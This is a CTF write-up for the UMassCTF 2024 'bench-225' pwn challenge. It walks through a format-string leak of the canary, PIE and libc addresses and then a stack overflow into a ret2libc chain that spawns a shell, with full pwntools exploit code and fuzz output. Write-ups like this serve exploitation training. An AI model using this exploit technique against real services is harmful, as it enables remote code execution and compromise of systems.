Home UMassCTF 2024
Post
Cancel

UMassCTF 2024

pwn/bench-225

1
2
3
4
5
6
7
8
Life is one big tug of war. And you don't win the war by pushing the rope.

Files:

    bench-225

nc bench-225.ctf.umasscybersec.org 1337 

In this challenge we are given a compiled 64bit binary.

running checksec shows the we have full protections:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Running the binary we see it gives us 5 options, Add 10s, Add 25s Add 45s, Bench and Remove Plate.

I’ll start with opening it up with Ghidra, In main I saw an extra option, option 6 for Motivational Quote.

The “motivation” function has two vulnerabilities.

The first being fgets on line 17 is reading in 1000 bytes into local_18 which is set as only 8. This gives us an overflow.

The 2nd is line 20 when the program uses printf without any format specifer, giving us a format strings. This will let us leak important data such as the stack canary, libc and elf addresses. We can use all of those to ret2libc and get a shell.

Lets first get into this function.

1
2
3
if ((stam < 0x32) && (DAT_00107092 <= g_Barbell)) {
      puts("6. Motivational Quote");
    }

So for this option to appear we need low stamina, and the “barbell” to be above another value.

To achieve this I would just get the lbs above 200, and drain my stamina.

As expected, i can use the format strings to leak data here.

For this part I like to use a fuzz script to give me a bunch of leaks and i’ll go and check the useful ones myself after.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

for i in range(1,20):
        io = process('./bench-225',level='error')
        for x in range(5):
            io.sendline(b'3')

        for x in range(6):
            io.sendline(b'4')
            
        payload = f"%{i}$p"
        io.sendline(b'6')
        io.sendlineafter(b'quote:',payload)
        io.recvuntil(b'Quote:')
        print(io.recvline(),i)
        io.close()

This will print the leak, and the offset that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ python3 fuzz.py
b' "0x7fff4364ba80\n' 1
b' "(nil)\n' 2
b' "0x7f8f1f314887\n' 3
b' "0x8\n' 4
b' "(nil)\n' 5
b' "(nil)\n' 6
b' "0xa016da080\n' 7
b' "0xa70243825\n' 8
b' "0xa93ade3f14484a00\n' 9
b' "0x7ffea69d6f50\n' 10
b' "0x55f76fde06a1\n' 11
b' "0x600000000\n' 12
b' "0x15549807e3813f00\n' 13
b' "0x1\n' 14
b' "0x7f111b829d90\n' 15
b' "(nil)\n' 16
b' "0x55a8003b935c\n' 17
b' "0x100000000\n' 18
b' "0x7fff6adc7928\n' 19

The ones that look intresting are, 9 (canary) 13(also could be canary), 15 and 11

Using GDB ill leak those addresses and check what they are. Using the Canary command inside GDB I can confirm: 13 is the canary 11 is main+837 15 is _libc_start_call_main+128

Lets script this part together. I start by getting the option 6 to show up.

for x in range(5):
    io.sendline(b'3')

for x in range(6):
    io.sendline(b'4')

get the 3 leaks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
payload = b"%13$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
canary = int(io.recvline().strip()[1:].decode(),16)
log.info(hex(canary))

payload = b"%11$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
main_leak = int(io.recvline().strip()[1:].decode(),16)
log.info(hex(main_leak))

payload = b"%15$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
libc_leak = int(io.recvline().strip()[1:].decode(),16)
log.info(hex(libc_leak))

Calculate the base addresses:

1
2
3
4
5
6
7
main_base = main_leak - elf.symbols.main - 837
elf.address = main_base
log.info(hex(main_base))

libc_base = libc_leak - 0x29d90
log.info(hex(libc_base))
libc.address = libc_base

and now I have all I need for a ret2libc:

We have a stack canary and the buffer was only 8 bytes, So we start with 8 bytes of “junk” followed by the stack canary, I use 8 \x00 to padding and the rest is a normal “ret2libc” loading binsh into pop rdi so we can run system(/bin/sh) on the remote server.

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = b'A'*8
payload += p64(canary)
payload += b'\x00' *8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols.system)


io.sendline(b'6')
io.sendline(payload)

io.interactive()

Unlike most CTFs, the flag was not in the directory the shell spawned me into,

So I ran find / 2>/dev/null | grep flag.txt

and I see the flag is in /home/tmp_bench_225/flag.txt

1
2
$ cat /home/tmp_bench_225/flag.txt
UMASS{wh0$e_g0nn4_c4rry_t3h_r0pz_&nd_d4_ch41nz?}
This post is licensed under CC BY 4.0 by the author.